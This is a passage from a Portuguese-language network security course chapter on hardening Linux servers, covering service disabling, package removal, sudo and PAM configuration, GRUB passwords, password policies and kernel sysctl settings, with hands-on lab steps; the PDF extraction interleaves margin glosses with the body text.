tração e permissões de acesso devem ser consideradas nessa imagem. Uma vez definida
sincronização de tempo
a imagem, esta pode ser usada para futuras instalações, de modo a reduzir o trabalho de na internet.
implantar um novo servidor, além ter uma imagem com uma configuração mínima segura.

230
Virtualização Em tecnologias de virtualização, o uso de imagens pode facilitar e acelerar muito o pro-
Processo de conversão cesso de criação de novos servidores.
de servidores físicos em
servidores virtuais. Os
servidores virtuais têm Desabilitando serviços desnecessários
desempenho menor
que os servidores Tarefa complexa para um iniciante, que requer conhecimento sobre os serviços. q
físicos, porém vários A regra geral é desabilitar todos os serviços desnecessários que abram portas (TCP/UDP)
servidores podem com-
partilhar os mesmos Ferramentas/comandos:
recursos, de modo
11 netstat –an | more (netstat –anp | more)
que um servidor pode
disponibilizar os seus 11 lsof –i <protocolo>:<porta>
recursos ociosos para
outros servidores. 11 ps aux | more

11 man <serviço>

Passos:

11 Determinar o runlevel padrão (/etc/inittab).

11 Parar o serviço (/etc/init.d/<serviço> stop).

11 Remover a inicialização do serviço (rcconf).

11 Remover o pacote correspondente do sistema.

Em instalações padrão de um sistema operacional, muitos serviços e programas são inclu-


ídos sem que sejam necessariamente importantes para o serviço que estamos implantando.
Sendo assim, após a instalação do sistema, devemos conferir os processos e serviços execu-
tando na máquina de modo a desativar todos os serviços que não sejam indispensáveis para
o funcionamento do sistema. Essa é uma tarefa complexa para um iniciante, visto que ele
provavelmente não saberá o que cada serviço faz e poderá ter receio de desabilitar alguns
serviços. A regra geral nesses casos é desabilitar todos os serviços que abram alguma porta,
TCP ou UDP no sistema, e que não façam parte de um serviço legítimo que se queira oferecer.
Algumas ferramentas auxiliam nessa tarefa, mas o administrador deve ter paciência para
pesquisar todos os serviços com o intuito de determinar se estes podem ser desabilitados.
Recomenda-se ainda que sejam usadas distribuições Linux ou sistemas Unix que lhe sejam
familiares, pois será mais fácil configurá-las. Abaixo alguns comandos úteis para o aluno:

11 netstat –an | more: mostra todas as portas abertas no sistema. As portas em estado
LISTEN são portas aguardando conexão. É importante registrar essas portas e poste-
riormente tentar descobrir o processo associado. Em algumas distribuições, o comando

Capítulo 10 - Configuração segura de servidores Linux


netstat –anp mostra o processo responsável por aquela conexão. Segue abaixo um
exemplo da saída do comando netstat –anp.

LinServer:~# netstat -anp | more

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address


State PID/Program name

tcp 0 0 0.0.0.0:45416 0.0.0.0:*


LISTEN 1541/rpc.statd

tcp 0 0 0.0.0.0:111 0.0.0.0:*


LISTEN 1530/portmap

tcp 0 0 172.16.1.10:53 0.0.0.0:*


LISTEN 1765/named

231
tcp 0 0 127.0.0.1:53 0.0.0.0:*
LISTEN 1765/named

tcp 0 0 0.0.0.0:22 0.0.0.0:*


LISTEN 1794/sshd

tcp 0 0 127.0.0.1:5432 0.0.0.0:*


LISTEN 1814/postgres

tcp 0 0 127.0.0.1:25 0.0.0.0:*


LISTEN 2096/exim4

tcp 0 0 127.0.0.1:953 0.0.0.0:*


LISTEN 1765/named

11 lsof –i <protocolo>:<porta>: lista o processo associado a uma determinada porta. Exemplo:


lsof –i TCP:25. Nem sempre a ferramenta lsof está instalada, então em alguns casos é necessário
baixar e instalar a ferramenta. No caso do Debian, o comando apt-get install lsof é suficiente.
Considerando o exemplo acima, o comando lsof –i TCP:111 nos dará o seguinte resultado:

LinServer:~# lsof -i TCP:111

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

portmap 1530 daemon 5u IPv4 4255 TCP *:sunrpc (LISTEN)

11 ps aux | more: lista todos os processos do sistema. Processos em execução que não
fazem parte dos serviços que se quer configurar no servidor devem ser registrados para
serem desabilitados. Alguns serviços podem ser importantes para o sistema, de modo que
desabilitá-los pode causar comportamento inesperado. Caso o aluno seja inexperiente
em Linux ou na distribuição em questão, recomendamos que seja instalado um servidor Runlevel
em laboratório e que sejam feitos experimentos até que seja desabilitado o máximo de Nível de execução que
corresponde a um
serviços e processos, mantendo os serviços que se deseja oferecer em funcionamento.
número que indica o
11 man <serviço>: obtém informações sobre um serviço a partir de suas páginas de manual modo de execução em
que se encontra um
(man pages). Observe que nem todo processo é necessariamente um serviço. Um serviço
sistema operacional
consiste em um ou mais processos, que executam continuamente no servidor com o Unix. Por exemplo, o
intuito de oferecer algum serviço para a máquina ou a rede. runlevel 1 corresponde a
um modo de execução
Para desabilitar um serviço, é necessário remover o link simbólico correspondente no onde só um usuário
diretório referente ao runlevel padrão do sistema. Ele pode ser determinado examinando o pode usar o sistema.
arquivo /etc/inittab, em uma linha como segue:

id:2:initdefault:

No exemplo acima, o runlevel padrão é 2, de forma que os serviços que devem ser desabili-
Segurança de Redes e Sistemas

tados encontram-se no diretório /etc/rc.d/rc2.d. Em alguns sistemas, esses serviços podem


estar localizados em outro diretório.
Consulte a documentação do sistema em questão para determinar onde eles se encontram.
No caso do Debian do nosso laboratório, temos os serviços habilitados no diretório /etc/rc2.d:

LinServer:/etc/rc2.d# ls

README S12acpid S15lwresd S19postgresql-8.3 S20nfs-common


S89atd S91apache2 S99rmnologin

S10rsyslog S15bind9 S16ssh S20exim4 S20openbsd-inetd

232
S89cron S99rc.local S99stop-bootlogd

Em um grau de detalhamento maior, verificamos que os arquivos nessa pasta na realidade


são links para scripts de inicialização do serviço no diretório /etc/init.d, onde podemos enviar
comandos, como start e stop para iniciar e terminar o serviço, respectivamente.

LinServer:/etc/rc2.d# ls -la S10rsyslog

lrwxrwxrwx 1 root root 17 2010-07-11 20:24 S10rsyslog -> ../init.d/


rsyslog

A letra S antes do nome do serviço indica que o serviço será iniciado (start). Para finalizar
o serviço, há a letra K (kill). O número a seguir indica a prioridade. Serviços com menor
número serão iniciados primeiro pelo sistema.

Outra forma de gerenciar serviços é com o comando rcconf. Ele pode ser instalado através
do comando apt-get install rcconf. Após instalado, basta executá-lo para ser apresentado a
um menu bastante prático, onde podemos habilitar e desabilitar os serviços desejados.

Figura 10.1
Tela do rconf.

Como já foi dito, o administrador não deve ter receio de desabilitar os serviços. Caso algum
serviço seja desabilitado e impeça o sistema de funcionar corretamente, ele pode ser
habilitado posteriormente (treine em um laboratório antes). Ao final, uma nova execução
do comando netstat pode confirmar que os serviços desnecessários foram desabilitados. Capítulo 10 - Configuração segura de servidores Linux
Alguns serviços utilizam o serviço inetd (Internet Super Server) e devem ser desabilitados no
arquivo /etc/inetd.conf.

Para mais informações sobre o inetd (ou xinetd em sistemas mais modernos), consulte as
páginas de manual correspondentes com o comando man (ex.: man inetd.conf).
Caso o inetd não seja necessário no seu servidor, ou seja, nenhum serviço esteja configurado
nele, ele pode ser desabilitado.

É importante ainda lembrar que desabilitar um serviço não o desinstala do servidor,


de modo que um atacante que tenha acesso ao servidor pode iniciar novamente
o serviço. Após desabilitar o serviço e ter certeza de que ele não será usado, é impor-
tante remover o pacote correspondente do sistema.

233
Exercício de fixação 1 e
Desabilitando serviços desnecessários
Por que devemos desabilitar os serviços desnecessários?

Pacotes e programas
Desabilitar os serviços de rede desnecessários reduz a superfície de ataque ao servidor, que
em combinação com regras de filtragem no firewall, proveem uma boa camada de proteção.
Apesar disso, um atacante pode ainda conseguir comprometer um serviço válido e conse-
quentemente obter acesso ao servidor comprometido. Esse acesso pode possibilitar ao
atacante obter acesso de administrador ou ainda comprometer outros servidores na rede.
Para procurar reduzir o que um atacante é capaz de fazer no servidor em caso de compro-
metimento, este deve possuir um conjunto mínimo de pacotes. Em especial, pacotes que
proveem ferramentas para o atacante tentar comprometer outros sistemas. A lista a seguir
sugere alguns pacotes para serem desabilitados.

Deixe para desabilitar pacotes ao final da configuração do servidor, pois você pode pre- q
cisar deles para alguma tarefa administrativa:

11 Compiladores de linguagens (gcc, g++ e javac).

11 Pacotes de monitoramento de conexões de rede (TCPdump, Nmap e netcat).

11 Pacotes de produtividade (editores de texto e planilhas de cálculo).

22 Um servidor não deve ser usado como estação de trabalho.

11 Ambiente gráfico (X11): devem ser utilizados os ambientes gráficos das estações para
realizar tarefas de configuração.

22 Muitos serviços possuem ambientes de configuração web ou aplicações


cliente-servidor, de modo que não é necessário manter o ambiente
gráfico instalado.

22 Caso seja indispensável, considere filtrar as portas do XWindows (X11) no seu


firewall de borda.

11 Serviços de rede não criptografados (Telnet, pop3 e Imap)

22 Dê preferência sempre a serviços criptografados (SSH, SFTP, pop3s e imaps). SSH

11 Serviços que foram desabilitados. Secure Shell é um serviço


criptografado que surgiu
para substituir serviços
Desabilitar pacotes pode ser uma tarefa complexa e cansativa. Recomenda-se que se parta
inseguros como scp, rsh,
do princípio inverso, ou seja, realizar uma instalação mínima e ir adicionando pacotes à rcopy e telnet.
medida que forem sendo necessários. Ao final da implantação do servidor, devem ser
Segurança de Redes e Sistemas

removidos pacotes temporários que porventura tenham sido instalados para a configuração
do servidor. Paciência, conhecimento e persistência são princípios fundamentais para essa
tarefa. No Debian, o comando tasksel pode ajudar, pois através dele é possível selecionar as
funcionalidades de que o servidor disporá, de modo que automaticamente os pacotes cor-
respondentes são adicionados ou removidos. Abaixo um exemplo de execução do comando.

234
Figura 10.2 Os pacotes podem ser desinstalados através de dois comandos:
Execução do
comando tasksel. apt-get remove <pacote>

dpkg –R <pacote>

Para remover um pacote, necessitamos primeiro saber o seu nome. Para tanto, podemos
usar algumas ferramentas para procurar o pacote desejado. Como exemplo, imagine que
queremos remover o pacote referente ao SSH:

dpkg –l *ssh*

Esse comando listará todos os pacotes instalados que se referem ao SSH:

Capítulo 10 - Configuração segura de servidores Linux

Figura 10.3
Lista de pacotes ins-
talados no sistema.
No exemplo acima, os pacotes marcados com ii estão instalados no sistema. Dessa forma,
podemos remover os pacotes desejados:

dpkg –R openssh-client

dpkg –R openssh-server

235
Configuração segura de serviços
Princípios básicos: q
11 Usuários sem privilégios.

11 Chroot.

11 Desabilitar funcionalidades desnecessárias.

Acessos administrativos:

11 Acessos criptografados.

11 Controle de acesso por estação.

11 Autenticação mais forte.

11 Conta de usuário comum (sudo).

Configurar um serviço de forma segura também é complicado e depende do serviço que se


está implantando, porém existem alguns princípios básicos que devem ser observados em
qualquer serviço Unix, como veremos a seguir.

Usuários sem privilégios


Muitos serviços possuem no próprio arquivo de configuração a opção de escolher um usuário
para executar o serviço, de modo a ter o direito desse usuário. A ideia é escolher um usuário que
tenha um mínimo de direitos sobre o sistema, seguindo o princípio do menor privilégio. Caso o
serviço não tenha essa opção, ainda assim é possível criar um usuário e executar o serviço com
os direitos do usuário, com o comando su. Por exemplo, para executar o serviço serverd, pode-
ríamos utilizar o comando: su serverd_user –c /caminho/serverd. Alguns serviços necessitam de
privilégios especiais e não são capazes de executar como usuários comuns do sistema. Deve-se
tomar um cuidado extra com esses serviços, como registrar todos os acessos e eventos do
serviço em um servidor de logs seguro, de acordo com o que foi visto no capítulo 4.

Chroot
Esse é um recurso presente em sistemas Unix, onde um determinado processo do sistema
enxerga apenas uma sub-árvore do sistema operacional. Dessa forma, o processo não será
capaz de ler, gravar ou executar arquivos fora desta sub-árvore. Assim como o usuário sem
privilégios, o chroot é utilizado por diversos serviços modernos. Normalmente a própria dis-
tribuição possui pacotes que instalam o serviço com o recurso. Configurar um serviço para
rodar com esse recurso pode ser uma tarefa complicada, pois deverão ser previstos todos
os recursos que o serviço necessita utilizar, de modo que eles devem estar em um diretório
acessível, dentro da árvore ao qual o processo foi “enjaulado”. No caso do Debian, podemos
procurar se existe versão chroot para o serviço que vamos instalar, como no exemplo abaixo
para um servidor web (Apache):

LinServer:~# apt-cache search apache | grep chroot


Segurança de Redes e Sistemas

libapache2-mod-chroot - run Apache in a secure chroot environment

mod-chroot-common - run Apache in a secure chroot environment

Desabilitar funcionalidades desnecessárias


Muitos serviços possuem recursos adicionais, como plugins, que podem não ser necessários
para o funcionamento do servidor a ser configurado. Dessa forma, o administrador deve ana-
lisar cuidadosamente os arquivos de configuração do serviço, de modo a desabilitar qualquer

236
recurso que seja indesejado. Essa tarefa também não é simples e depende da experiência
do administrador em um determinado serviço. Quanto menos recursos o serviço oferecer,
mais seguro ele será. Um exemplo de funcionalidade desnecessária seria um servidor www
Apache instalado com suporte a PHP. Caso não existam scripts em PHP sendo utilizados,
eles podem perfeitamente ser desabilitados.

Exercício de fixação 2 e
Configuração segura de serviços
Quais os princípios básicos da configuração segura de serviços?

Acessos administrativos
É comum em servidores existir um acesso administrativo para que o administrador não
necessite se deslocar fisicamente até o equipamento para obter acesso. Normalmente se
utiliza uma emulação de terminal remoto, como o Secure Shell (SSH), ou um console web,
como o webmin. Apesar de ser um recurso prático, deve ser usado com muita cautela, pois
pode permitir a um atacante obter acesso privilegiado ao servidor. Alguns cuidados básicos
devem ser tomados ao tratar de acessos administrativos:

11 Utilizar sempre acessos criptografados para garantir que os dados não serão intercep-
tados em trânsito na rede. Protocolos como Telnet, RSH, RCP e Xwindows devem ser
substituídos por versões seguras, como SSH. Acessos remotos devem ser realizados
através de recurso VPN com criptografia. Consoles de administração web devem sempre
utilizar o HTTP seguro (HTTPS).

11 O administrador deve possuir um conjunto de estações definido para acessar o servidor


e só deve aceitar conexões dessas estações. Essa configuração pode ser realizada através
de permissões de acesso no próprio servidor ou através de filtros de pacotes. Caso haja
a necessidade de acesso de muitos locais distintos, pode-se configurar um servidor com
apenas o serviço de acesso administrativo e utilizar esse servidor para acessar os demais.

11 Em caso de servidores públicos (DMZ), nenhum acesso administrativo deve ser permitido
diretamente a partir da internet. Administradores fora da organização devem utilizar
canais seguros, como VPN, para administrar os servidores sob a sua responsabilidade.

Capítulo 10 - Configuração segura de servidores Linux


11 Caso seja viável, pois envolve custo financeiro, deve-se utilizar uma autenticação mais
Tokens forte, como tokens e certificados digitais para acessos administrativos nos servidores
Dispositivos de segu- e em conexões VPN.
rança que armazenam
chaves de criptografia 11 Utilizar sempre uma conta de usuário comum para acesso, utilizando posteriormente o
e certificados digitais. comando su ou sudo para obter acesso de administrador. Dessa forma, ficará no sistema o
Algo que o usuário
registro do administrador que realizou determinado acesso. Caso seja possível, devem-se
possua para comprovar
sua identidade. criar contas de administração restritas para administradores que realizam tarefas espe-
cíficas. O comando sudo permite que seja dado acesso de administrador apenas a alguns
comandos, de modo que o usuário pode executar sudo <comando>, para executar um
comando autorizado como administrador. O arquivo /etc/sudoers contém a configuração
do serviço sudo. Caso o sudo não esteja instalado, o comando apt-get install sudo é sufi-
ciente para instalar. Mais informações sobre o sudo podem ser obtidas com o comando
man sudo. O exemplo abaixo mostra uma configuração de sudo, de modo a permitir que o
usuário peixinho.icp possa acessar qualquer comando como administrador.

237
Figura 10.4
Configuração
de sudo.

Atenção para o parâmetro PASSWD, pois caso seja NOPASSWD, o usuário poderá
executar tarefas como administrador sem a necessidade de entrar com a senha do
seu usuário.

11 Evite que um usuário possa realizar o primeiro login no sistema como root. Tal configu-
ração obriga o usuário a autenticar com um usuário comum e, depois, utilizar o sudo para
se tornar administrador do sistema. Para ativar esse recurso, basta apagar o conteúdo do
arquivo /etc/securetty. Observe que alguns sistemas não utilizam o PAM para autenticação
(ex.: OpenSSH), assim será necessário verificar se essa opção está disponível na aplicação.

11 Não permita que qualquer usuário possa se tornar root utilizando o sudo. O sistema de
autenticação do Linux (PAM) permite que você crie um grupo especial e que somente
membros desse grupo possam se tornar root. Essa configuração vai impedir que um
usuário comum, mesmo sabendo a senha do root, possa se promover como root do
sistema. Para evitar esse comportamento, você deverá criar um grupo chamado wheel
(# groupadd wheel) e modificar o arquivo /etc/pam.d/su (inserindo no final do arquivo a linha
“auth required pam_wheel.so group=wheel”), de forma a permitir que apenas os membros
desse grupo possam se tornar root do sistema. Não se esqueça de colocar um usuário como
membro do grupo wheel (# usermod –G wheel usuario) antes de realizar o logoff.

11 Proteja o sistema de inicialização do Linux (GRUB) com senha. Sem essa proteção, um ata-
cante que tenha acesso físico à máquina poderá reiniciar o sistema como root utilizando
Segurança de Redes e Sistemas

um modo conhecido como Single User Mode. Para desativar essa opção, edite o arquivo
/boot/grub/menu.lst e insira no final a linha “password mudeme”.

11 Um problema simples no Linux é que, se um atacante tiver acesso ao console e apertar


as teclas CTRL + ALT + DEL (utilizadas para autenticar em máquinas Windows), reiniciará,
automaticamente, o servidor. Para evitar esse comportamento, comente a linha
“# ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now” no arquivo /etc/inittab.

238
Ferramentas de segurança de servidores
Existe uma série de ferramentas que podem aumentar a segurança de um servidor.
As mais comuns são os HIDS, que foram tratados no capítulo 5. Existem ainda ferramentas
que realizam uma série de mudanças no sistema, com o intuito de torná-lo mais seguro.
Dentre estas, podemos destacar as ferramentas Bastille Linux e Security Enhanced Linux,
disponíveis na internet e gratuitas. Essas ferramentas não serão tratadas neste curso, por
serem ferramentas avançadas. Porém, se o aluno tiver interesse, existem diversos guias na
internet sobre como instalar essas ferramentas.

Testes de configuração e auditoria


Testar se uma configuração de um servidor está suficientemente segura é uma fase impor-
tante do processo, pois permite verificar se a configuração realizada realmente aumentou a
segurança do servidor. Ferramentas de auditoria como Nmap e Nessus podem ser usadas
no servidor para verificar o nível de segurança atingido. Essas auditorias devem ainda ser
realizadas periodicamente, para verificar a aplicação de atualizações de segurança forne-
cidas pelo fabricante (patches) e se alguma configuração específica não causou nenhum
impacto na segurança do servidor. Mais informações sobre auditoria podem ser encon-
tradas no capítulo 8.

Exercício de fixação 3 e
Acessos administrativos
Quais são os cuidados básicos ao tratar de acessos administrativos?

Atualização do sistema operacional


Pacotes compilados: q
11 Instalação separada.

11 Facilitar a remoção.

11 Manter atualizado manualmente.

É fundamental em qualquer sistema operacional a instalação das correções fornecidas pelo fabri-

Capítulo 10 - Configuração segura de servidores Linux


cante. No caso do Linux, cada distribuição possui uma forma diferente de instalar essas atualiza-
ções. No Debian, podemos manter nosso sistema atualizado com apenas dois comandos:

apt-get update

apt-get upgrade

239
Figura 10.5
Exemplo de uso
do comando
apt-get upgrade.

Veja que, em alguns casos, a quantidade de atualizações é grande. No exemplo acima, serão
baixados 61 MB de atualizações. Caso sua distribuição não seja Debian, verifique na documen-
tação disponível como fazer para atualizar os pacotes. O Debian permite ainda atualizar a
versão instalada, caso uma nova versão seja lançada. Para tal, normalmente usamos o
comando apt-get dist-upgrade, porém existem alguns passos que devem ser executados.

Pacotes compilados w
A página “Chapter 4.
Em alguns casos, a versão que desejamos de um determinado software não está disponível Upgrades from
na distribuição que usamos ou o software em si não foi empacotado pelo distribuidor. previous releases”
detalha o processo de
Nesses casos, é muito comum o administrador baixar o código-fonte do software e compilá-lo
atualização de versão
no próprio servidor. Alguns usuários mais avançados baixam inclusive o núcleo do sistema no Debian.
(kernel), para compilar e instalar um kernel customizado.

Deve-se tomar cuidado com a instalação de software compilado, pois eles podem se con-
fundir com os pacotes instalados no sistema, tornando difícil a desinstalação depois. Deve-se
sempre instalar software compilado em diretórios distintos, como o /usr/local ou /opt. Deve-se
ainda fazer um controle dos arquivos instalados pelo software, para facilitar a desinstalação.
As ferramentas de compilação (gcc, g++, etc.) podem ser usadas por um atacante para com-
pilar seu próprio software malicioso, então devem ser removidas após o uso.

Por fim, a instalação de um kernel customizado é uma tarefa complexa, mas que possui a van-
tagem de gerar um kernel mais leve e com menos recursos (princípio do menor privilégio), de
modo que uma vulnerabilidade encontrada em um recurso do kernel, que não esteja sendo uti-
lizado pelo seu servidor, pode não afetar um kernel customizado sem esse recurso. O problema
é que, a cada atualização do kernel, o administrador terá de recompilá-lo, o que leva tempo e
pode sobrecarregar a administração no caso de um ambiente com diversos servidores.

Sistema de arquivos proc w


Para saber mais sobre
Muitos parâmetros de kernel podem ser alterados através do sistema de arquivos /proc ou compilação de kernel, a
usando sysctl. Tais alterações podem aumentar o desempenho e segurança geral do sistema. página “The Linux
Kernel HOWTO” tem
Abaixo são listados alguns parâmetros interessantes (no formato para o arquivo informações úteis.
/etc/sysctl.conf ), que deverão ser avaliados caso a caso antes de serem implementados
Segurança de Redes e Sistemas

em ambiente de produção:

net.ipv4.ip_forward = 0 O encaminhamento IP entre placas só é


necessário em servidores Linux que atuarão
como roteador entre diferentes redes.

net.ipv4.icmp_echo_ignore_all=1 Evita que a máquina responda a qualquer


tipo de ICMP.

net.ipv4.icmp_echo_ignore_broadcasts=1 Previne o ataque de smurf.

240
net.ipv4.conf.all.accept_source_route=0 Não aceite pacotes de fonte roteada. Atacantes
podem usar fontes roteadas para gerar tráfego,
fingindo vir de dentro de sua rede.

net.ipv4.conf.all.accept_redirects=0 Redirecionamento de ICMP pode ser usado


para alterar tabelas de roteamento na
Figura 10.6 máquina alvo.
Parâmetros para
o arquivo net.ipv4.icmp_ignore_bogus_error_res- Proteção contra mensagens de erro
/etc/sysctl.conf. ponses=1 ICMP falsas.

Pesquise na internet sobre esse assunto, pois existem inúmeros parâmetros que,
se alterados, podem aumentar o desempenho de uma aplicação. Uma última dica:
procure por “tunning tcp/ip” na web e boa sorte!

Capítulo 10 - Configuração segura de servidores Linux

241
Segurança de Redes e Sistemas

242
Roteiro de Atividades 10
Atividade 1 – Configuração segura de servidor
Utilizando as técnicas estudadas, vamos modificar algumas configurações do servidor Linux
de modo a torná-lo mais seguro.

Passo 1 Acesse o servidor LinServer-G e configure uma senha para evitar que um usuário
reinicie e o servidor e consiga inicializá-lo em modo single, ou seja, como root
sem precisar inserir a senha de root. Essa configuração deve ser encarada como
obrigatória sempre que o servidor estiver localizado em uma sala insegura.
Executar o grub [LinServer-G:~]# grub e cifrar a senha utilizando o algoritmo
md5. Observe os passos abaixo:
[LinServer-G:~]#/sbin/grub
GRUB version 0.92 (640K lower / 3072K upper memory)
Minimal BASH-like line editing is supported. For the
first word, TAB lists possible
command completions. Anywhere else TAB lists the pos-
sible completions of a device/filename.
grub> md5crypt
Password: ********(Comentário: foi digitado rnpesr no
prompt)
Encrypted: $1$T7/dgdIJ$dJM.n2wZ8RG.oEiIOwJUs.
grub> quit
Agora, insira a linha abaixo no final do arquivo /boot/grub/menu.lst não esque-
cendo de colar a senha gerada no passo anterior:
password --md5 $1$T7/dgdIJ$dJM.n2wZ8RG.oEiIOwJUs.

Passo 2 Verifique todos os serviços que estão sendo inicializados junto com o ser-
vidor. Pesquise na internet o papel de todos os serviços. Atenção aos que
você não conheça. Verifique se é vital para o funcionamento do sistema. Para
essa verificação pode ser utilizado o comando:
# apt-get install rcconf
# rcconf
Isso removerá da inicialização conjunta com o sistema operacional quando
este for iniciado. Para verificar os serviços que estão ativos, podemos utilizar
os comandos:
# netstat –nap
Para mais detalhes sobre uma determinada porta que esteja aguardando por
conexão na rede, podemos utilizar o comando:
Capítulo 10 - Roteiro de Atividades

# lsof –i PROTOCOLO:PORTA -n
Ex.:
LinServer-G:~# lsof -i tcp:22 -n
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
sshd 1786 root 3u IPv6 4829 TCP *:ssh (LISTEN)
sshd 1786 root 4u IPv4 4831 TCP *:ssh (LISTEN)
sshd 2440 root 3r IPv4 6338 TCP
172.16.1.10:ssh->172.16.1.1:39157 (ESTABLISHED)
LinServer-G:~#
243
Passo 3 Para pacotes que você pesquisou e sabe que não serão necessários ao seu
sistema, a recomendação é remover. Para remover os pacotes desnecessários
sem remover as configurações personalizadas, vamos utilizar o comando:
# apt-get remove nome_do_pacote
Para remover todos os históricos de um pacote, vamos utilizar o comando:
# apt-get purge nome_do_pacote
Para listar todos os pacotes instalados no sistema, podemos utilizar o
comando:
# dpkg –l
É recomendado o uso da ajuda do comando dpkg para verificar os possíveis
parâmetros:
# dpkg –help

Passo 4 Para modificar o acesso administrativo no servidor, vamos utilizar a ferra-


menta sudo para nos auxiliar. Instale o pacote sudo com o comando:
# apt-get install sudo
Edite o arquivo de configuração do sudo (/etc/sudoers) e adicione a linha:
aluno ALL=(ALL) ALL
Essa linha vai permitir ao usuário aluno todos os níveis de acessos do usuário
root.

Passo 5 Verifique o funcionamento do sudo. Conecte remotamente com o protocolo


SSH e como usuário aluno, mude para modo privilegiado com sudo:
$ sudo su –
Exemplo:
aluno@LinServer-A:~$ sudo su -

We trust you have received the usual lecture from the


local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.


#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for aluno:


LinServer-A:~#
Segurança de Redes e Sistemas

244
Passo 6 Por padrão, através do comando su o Linux permite que qualquer usuário
possa se tornar o root do sistema. Para evitar esse comportamento o Linux
implementa um grupo especial chamado wheel e podemos configurar o
arquivo /etc/pam.d/su de forma a permitir que apenas os membros desse
grupo possam se tornar root do sistema.
Crie um usuário chamado “suporteloc”:
[root@localhost ~]# adduser suporteloc
Crie um grupo chamado “wheel”:
[root@localhost ~]# addgroup wheel
Faça com que o usuário “suporteloc” seja membro do grupo “wheel”:
[root@localhost ~]# usermod –G wheel suporteloc
Edite o arquivo /etc/pam.d/su e descomente a linha abaixo.
auth required pam_wheel.so

Passo 7 Para testar o funcionamento do grupo wheel, autentique-se na máquina


LinServer-G com o usuário aluno e tente executar o comando $ su -. Observe
que não vai funcionar. Agora, realize o login utilizando o mesmo usuário e
tente, novamente, executar o comando $ su -

Passo 8 Agora vamos restringir a quantidade de usuários que podem autenticar no


console da máquina. Para tal, vamos configurar o módulo pam_access nos
principais sistemas de autenticação: SSH, Console Login, Graphical Gnome
Login (se estiver instalada) e, opcionalmente, para todos os outros sistemas.
Para o SSH adicione o pam_access no arquivo /etc/pam.d/sshd após a linha
pam_nologin.so:
account required pam_access.so
Para o console adicione o pam_access no arquivo /etc/pam.d/login após a linha
pam_nologin.so:
account required pam_access.so
Adicionar ao final do arquivo /etc/security/access.conf que é lido pelo módulo
pam_access as seguintes linhas

Cuidado: se essa configuração for realizada de forma errada,


ninguém poderá mais autenticar na máquina.

+ : wheel : LOCAL 172.16.


- : ALL : ALL
A primeira linha permite aos usuários do grupo wheel autenticar na máquina
local cuja a origem seja a rede 172.16.0.0/16, enquanto a segunda linha blo-
queia o acesso para qualquer outro usuário.

Passo 9 Para verificar o funcionamento do pam_access, monitore o arquivo /var/log/


auth.log e tente realizar a autenticação via SSH a partir da estação de trabalho
física Windows XP. Observe que mesmo que acerte a senha você não conse-
guirá acesso ao servidor e que, no arquivo auth.log, será gerada a linha
pam_access(sshd:account): access denied for user
Capítulo 10 - Roteiro de Atividades

`suporteloc` from `10.1.1.10`


Tente autenticar via SSH a partir do servidor FWGW1-G. Observe que
funcionará normalmente.

245
Passo 10 Agora vamos obrigar os usuários locais a utilizar senhas fortes. Para isso
vamos instalar e configurar a biblioteca craklib.
Para instalar, execute:
# apt-get install libpam-cracklib
Edite o arquivo /etc/pam.d/common-password, remova o comentário e
modifique a linha pam_cracklib conforme abaixo:
password required pam_cracklib.so retry=3 minlen=14
difok=3 lcredit=-1 ucredit=-1 dcredit=-1 ocredit=-1
password sufficient pam_unix.so md5 shadow nullok try_
first_pass use_authtok remember=12
Isso adicionará o cracklib, que vai obrigar todas as novas senhas de usuário a ter:

Parâmetro Descrição sucinta

minlen=14 Quantidade mínima de caracteres

lcredit=-1 Quantidade mínima de letras minúsculas


(“-1” significa: no mínimo, uma letra minúscula)

ucredit=-1 Quantidade mínima de letras maiúsculas


(“-1” significa:no mínimo, uma letra maiúscula)

dcredit=-1 Quantidade mínima de caracteres numéricos


(“-1” significa: no mínimo, um caractere numérico)

ocredit=-1 Quantidade mínima de caracteres especiais


(“-1” significa: no mínimo, um caractere especial)

remember=12 Número de senhas que serão lembradas de forma a não


permitir a repetição de senhas antigas

Você deve criar o arquivo /etc/security/opasswd caso ele não exista.


[root@localhost ~]# touch /etc/security/opasswd
[root@localhost ~]# chown root:root /etc/security/opasswd
[root@localhost ~]# chmod 600 /etc/security/opasswd
O usuário root não obedece as restrições impostas pela cracklib.

Passo 11 Para testar essa configuração, autentique utilizando o usuário suporteloc e


tente modificar sua senha para algo bem simples. Agora tente alterar para
um senha que atenda a política acima configurada.
Segurança de Redes e Sistemas

246
Passo 12 Vamos ativar um mecanismo interessante para fortalecer a política de senhas
locais implementando o processo de expiração para senhas antigas. Em
geral, não é recomendado que o sistema imponha a expiração da senha para
contas de serviço. Isso pode levar a interrupções de um serviço se a conta
de um aplicativo expirar. Uma política corporativa deve reger as alterações
de senha para contas de usuários individuais do sistema e deve expirar as
senhas automaticamente.
Os seguintes arquivos e parâmetros da tabela devem ser usados quando
uma nova conta é criada com o comando useradd. Essas configurações são
registradas para cada conta de usuário no arquivo /etc/shadow. Portanto,
certifique-se de configurar os seguintes parâmetros antes de criar qualquer
usuário contas utilizando o comando useradd:

Arquivo Parâmetro Descrição sucinta

/etc/login.defs PASS_MAX_DAYS 90 Número máximo de dias


em que uma senha é válida.

/etc/login.defs PASS_MIN_DAYS 7 Número mínimo de dias


antes que um usuário
possa alterar a senha
desde a última alteração.

/etc/login.defs PASS_WARN_AGE 7 Número de dias quando


o lembrete de senha
começa a mudar.

/etc/default/useradd INACTIVE 14 Número de dias após a


expiração da senha, até
que a conta seja definiti-
vamente desativada.

Certifique-se de que os parâmetros acima foram alterados nos arquivos


/etc/login.defs e /etc/default/useradd.
As configurações acima passam a ser utilizadas apenas por usuários criados
a partir desse momento. Usuários antigos não vão receber esses atributos.
Observe que, quando uma conta de usuário é criada usando o comando
useradd, os parâmetros listados na tabela acima são inseridos no arquivo
/etc/shadow, no seguinte formato:
<nome-de-usuário>: <senha>: <data>: PASS_MIN_DAYS: PASS_
MAX_DAYS: PASS_WARN_AGE: INACTIVE: EXPIRE:
Você pode alterar a data de envelhecimento a qualquer momento.
Para desabilitar a data do envelhecimento para contas de sistema e contas
compartilhadas, você pode executar o comando chage:
[root@localhost /]# chage -M 99999 <account>
Para adicionar uma data de expiração da conta, execute:
[root@localhost ~]#useradd -e mm/dd/yy <login_name>
Para obter informações sobre a expiração da senha:
[root@localhost ~]# chage -l <account>
